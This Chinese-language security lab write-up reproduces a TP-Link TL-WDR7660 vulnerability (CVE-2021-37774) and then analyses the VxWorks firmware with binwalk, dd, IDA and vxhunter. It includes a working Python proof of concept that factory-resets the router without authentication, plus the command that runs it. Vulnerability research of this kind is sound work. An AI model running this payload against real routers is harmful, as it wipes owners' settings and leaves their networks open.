01漏洞簡(jiǎn)述
2023年1月31日,CNVD公開(kāi)了一個(gè)由國(guó)內(nèi)安全研究員提交的TL-WDR7660 httpProcDataSrv任意代碼執(zhí)行漏洞,編號(hào)為CNVD-2023-05404,同時(shí)公開(kāi)了漏洞利用詳情,poc代碼鏈接為https://github.com/fishykz/TP-POC。從poc代碼詳情中可以發(fā)現(xiàn),該漏洞于2021年7月由該安全研究員提交給CVE和TP-Link官方,并于2021年8月獲得了CVE編號(hào),編號(hào)為CVE- 2021-37774,CVE詳情為https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-37774。
02影響版本
TL-WDR7660路由器2.0.30固件版本
03漏洞復(fù)現(xiàn)
筆者手上正好有一臺(tái)閑置的TL-WDR7660千兆版路由器,從路由器背面信息可以看出,該路由器在初始狀態(tài)下,發(fā)出的無(wú)線wifi信號(hào)名稱為TP-LINK_41B1
在初始狀態(tài)下,連接TP-LINK_41B1 wifi信號(hào)不需要密碼,連接后使用瀏覽器訪問(wèn)192.168.1.1會(huì)進(jìn)入到初始化界面,需要對(duì)路由器后臺(tái)密碼、wifi名稱及密碼等進(jìn)行配置,配置完成后進(jìn)入路由器后臺(tái),訪問(wèn)路由設(shè)置->軟件升級(jí),發(fā)現(xiàn)該路由器安裝的固件版本剛好是存在漏洞的2.0.30版本
下面直接嘗試復(fù)現(xiàn)該漏洞
在poc鏈接中,漏洞作者公開(kāi)了漏洞驗(yàn)證python腳本
import sys
import requests
if len(sys.argv) != 2:
exit()
ip = sys.argv[1]
s = requests.Session()
data = "{\"system\":{\"reset\":null},\"method\":\"do\", \"cfgsync\":{\"get_config_info\":null}}"
response = s.post("http://%s/ds" %ip, data=data)
print("Status code: %i" % response.status_code)
print("Response body: %s" % response.content)
從作者錄制的漏洞驗(yàn)證視頻中可以發(fā)現(xiàn),該驗(yàn)證腳本實(shí)現(xiàn)了在未認(rèn)證情況下的直接重置路由器的效果首先退出路由器后臺(tái)登錄狀態(tài),訪問(wèn)192.168.1.1,此時(shí)會(huì)提示需要輸入密碼才能進(jìn)入后臺(tái)
接下來(lái)通過(guò)運(yùn)行poc腳本
python wdr7660_CVE-2021-37774.py 192.168.1.1
運(yùn)行后返回了200狀態(tài)碼,同時(shí)提示等待30s的延時(shí)
此時(shí)訪問(wèn)192.168.1.1發(fā)現(xiàn)已經(jīng)無(wú)法打開(kāi)路由器后臺(tái)
通過(guò)系統(tǒng)的wifi管理界面發(fā)現(xiàn)剛才設(shè)置的wifi名稱密碼已經(jīng)被重置,重新變成了初始的無(wú)認(rèn)證的wifi信號(hào)TP-LINK_41B1
等待30s,連接TP-LINK_41B1后,訪問(wèn)192.168.1.1,發(fā)現(xiàn)該路由器已經(jīng)被重置
04固件分析
漏洞復(fù)現(xiàn)成功后,接下來(lái)我們下載TL-WDR7660路由器2.0.30版本固件進(jìn)行分析
在tp-link官方服務(wù)支持站點(diǎn)中,搜索WDR7660就能找到該固件下載地址
https://service.tp-link.com.cn/download/20207/TL-WDR7660%E5%8D%83%E5%85%86%E7%89%88%20V1.0%E5%8D%87%E7%BA%A7%E8%BD%AF%E4%BB%B620190830_2.0.30.zip
固件下載后首先進(jìn)行壓縮包解壓,得到bin固件文件后再通過(guò)binwalk進(jìn)行解壓分析
binwalk wdr7660gv1-cn-up_2019-08-30_10.37.02.bin --run-as=root
通過(guò)查閱資料發(fā)現(xiàn),TP-LINK TL-WDR7660搭建的固件是基于VxWorks(一種RTOS),通過(guò)binwalk解壓分析后并不能得到和其他大部分路由器一樣類似的完整的文件系統(tǒng)。從binwalk的分析結(jié)果來(lái)看,該固件主要由一個(gè)固件頭部(uImage header)和其他LZMA格式的文件數(shù)據(jù)組成(LZMA是一種壓縮算法)。在uImage header中,有一個(gè)表示引導(dǎo)加載程序(uBoot)的入口地址字段,即Entry Point,我們可以根據(jù)這個(gè)入口地址提取出uBoot程序。
一般來(lái)說(shuō),uBoot程序的長(zhǎng)度= uImage header的長(zhǎng)度+其后緊接的一塊LZMA數(shù)據(jù)的長(zhǎng)度,從binwalk的分析結(jié)果中可以看到,uImage header的起始位置為512,其后緊接的第二塊LZMA數(shù)據(jù)的起始位置為66560,所以可以得到uBoot程序的長(zhǎng)度= uImage header緊接的第二塊LZMA數(shù)據(jù)的起始位置- uImage header的起始位置= 66560-512 = 66048,根據(jù)這個(gè)長(zhǎng)度使用dd命令即可提取出uBoot程序
dd wdr7660gv1-cn-up_2019-08-30_10.37.02.bin of=uboot.raw bs=1 skip=512 count=66048
提取出uBoot程序后,注意到uImage header緊接的第二塊LZMA數(shù)據(jù)大小為所有LZMA數(shù)據(jù)中最大的一塊,一般來(lái)說(shuō)這里就是主程序的位置,我們用同樣的辦法把主程序提取出來(lái)。主程序的長(zhǎng)度= 1422400 - 66560 = 1355840
dd if=wdr7660gv1-cn-up_2019-08-30_10.37.02.bin of=main.lzma bs=1 skip=66560 count=1355840
得到主程序的lzma壓縮包文件之后,嘗試通過(guò)lzma進(jìn)行解壓
lzma -d main.lzma
解壓后得到main文件,嘗試使用binwalk進(jìn)行解壓分析
binwalk main
此時(shí)若將該main文件導(dǎo)入到ghidra中,同時(shí)搜索漏洞關(guān)鍵字“httpProcDataSrv”,發(fā)現(xiàn)雖然有兩個(gè)結(jié)果,但是無(wú)法找到對(duì)應(yīng)的函數(shù),其他函數(shù)反編譯出來(lái)的代碼也基本不可讀
猜測(cè)應(yīng)該是VxWorks系統(tǒng)的分析方式問(wèn)題,通過(guò)查閱資料,發(fā)現(xiàn)
“使用ida或者ghidra等反匯編工具進(jìn)行分析時(shí),需要了解VxWorks系統(tǒng)的加載基址,否則無(wú)法正確地分析系統(tǒng)。VxWorks系統(tǒng)的加載基址與棧初始化地址相同,根據(jù)VxWorks官方給出的說(shuō)明,其采用usrInit進(jìn)行棧初始化,而usrInit是VxWorks系統(tǒng)引導(dǎo)后運(yùn)行的第一個(gè)函數(shù),因此可以直接把VxWorks系統(tǒng)文件丟到ida中,先用0作為加載基址,然后找sp寄存器首次出現(xiàn)的位置,就是VxWorks系統(tǒng)的加載基址。”(參考http://blog.nsfocus.net/tp-link-wdr/)
這里其實(shí)有個(gè)最簡(jiǎn)單的辦法,使用IDA或者ghidra打開(kāi)上文中提取得到的main文件,開(kāi)頭地址即為加載基址,如下圖,為0x40205000
獲得加載基址還需要利用符號(hào)表修復(fù)函數(shù)名才能對(duì)基于VxWorks系統(tǒng)的固件進(jìn)行較好的反編譯
TP-LINK WDR7660固件的符號(hào)表和VxWorks系統(tǒng)文件是分離的,所以需要從binwalk解壓升級(jí)文件后得到的文件中尋找符號(hào)文件。Bzero是VxWorks中一個(gè)函數(shù),系統(tǒng)啟動(dòng)過(guò)程中會(huì)使用bzero函數(shù)對(duì)bss區(qū)的數(shù)據(jù)進(jìn)行清零,因此可以利用”grep -r bzero”查找bzero函數(shù),bzero函數(shù)所在的文件即為符號(hào)表文件
這里可以看到,bzero函數(shù)在15CBBA文件中,我們可以通過(guò)010editor等工具打開(kāi)文件進(jìn)行確認(rèn)
同時(shí),也可以看出符號(hào)表的區(qū)間為0x00008-0x1a728
接下來(lái)通過(guò)IDA打開(kāi)上述得到的main文件,并將ROM start address與Loading address都設(shè)置為0x40205000
然后通過(guò)一款名為vxhunter的開(kāi)源反編譯插件利用符號(hào)表修復(fù)函數(shù)名,vxhunter支持IDA Pro 7.x/Ghidra 9.x/Radare2等逆向工具,插件地址https://github.com/PAGalaxyLab/vxhunter
由于Ghidra 9.x版本的vxhunter沒(méi)有辦法在導(dǎo)入主程序文件后再加載符號(hào)表文件,所以下面使用IDA來(lái)進(jìn)行操作
使用流程:先使用IDA加載上面提取到的主程序文件main,然后在edit->vxHunter->load VxWorks symbol file導(dǎo)入提取到的符號(hào)表文件
等待修復(fù)完成后可以看到函數(shù)名已經(jīng)還原,接下來(lái)就可以進(jìn)行正常靜態(tài)分析了
【59號(hào)實(shí)驗(yàn)室】
美創(chuàng)科技旗下第59號(hào)實(shí)驗(yàn)室,專注于數(shù)據(jù)安全各技術(shù)領(lǐng)域研究及應(yīng)用,聚焦于最新安全防御理念、國(guó)內(nèi)外漏洞、攻防技術(shù)、威脅情報(bào)等專業(yè)研究,進(jìn)行知識(shí)產(chǎn)品轉(zhuǎn)化,最終賦能于產(chǎn)品。目前累計(jì)為cnvd、ctvd、cnnvd等漏洞接收平臺(tái)提報(bào)數(shù)百個(gè)高質(zhì)量原創(chuàng)漏洞,發(fā)明專利數(shù)十篇,團(tuán)隊(duì)著有《數(shù)據(jù)安全實(shí)踐指南》。
(免責(zé)聲明:本網(wǎng)站內(nèi)容主要來(lái)自原創(chuàng)、合作伙伴供稿和第三方自媒體作者投稿,凡在本網(wǎng)站出現(xiàn)的信息,均僅供參考。本網(wǎng)站將盡力確保所提供信息的準(zhǔn)確性及可靠性,但不保證有關(guān)資料的準(zhǔn)確性及可靠性,讀者在使用前請(qǐng)進(jìn)一步核實(shí),并對(duì)任何自主決定的行為負(fù)責(zé)。本網(wǎng)站對(duì)有關(guān)資料所引致的錯(cuò)誤、不確或遺漏,概不負(fù)任何法律責(zé)任。
任何單位或個(gè)人認(rèn)為本網(wǎng)站中的網(wǎng)頁(yè)或鏈接內(nèi)容可能涉嫌侵犯其知識(shí)產(chǎn)權(quán)或存在不實(shí)內(nèi)容時(shí),應(yīng)及時(shí)向本網(wǎng)站提出書面權(quán)利通知或不實(shí)情況說(shuō)明,并提供身份證明、權(quán)屬證明及詳細(xì)侵權(quán)或不實(shí)情況證明。本網(wǎng)站在收到上述法律文件后,將會(huì)依法盡快聯(lián)系相關(guān)文章源頭核實(shí),溝通刪除相關(guān)內(nèi)容或斷開(kāi)相關(guān)鏈接。 )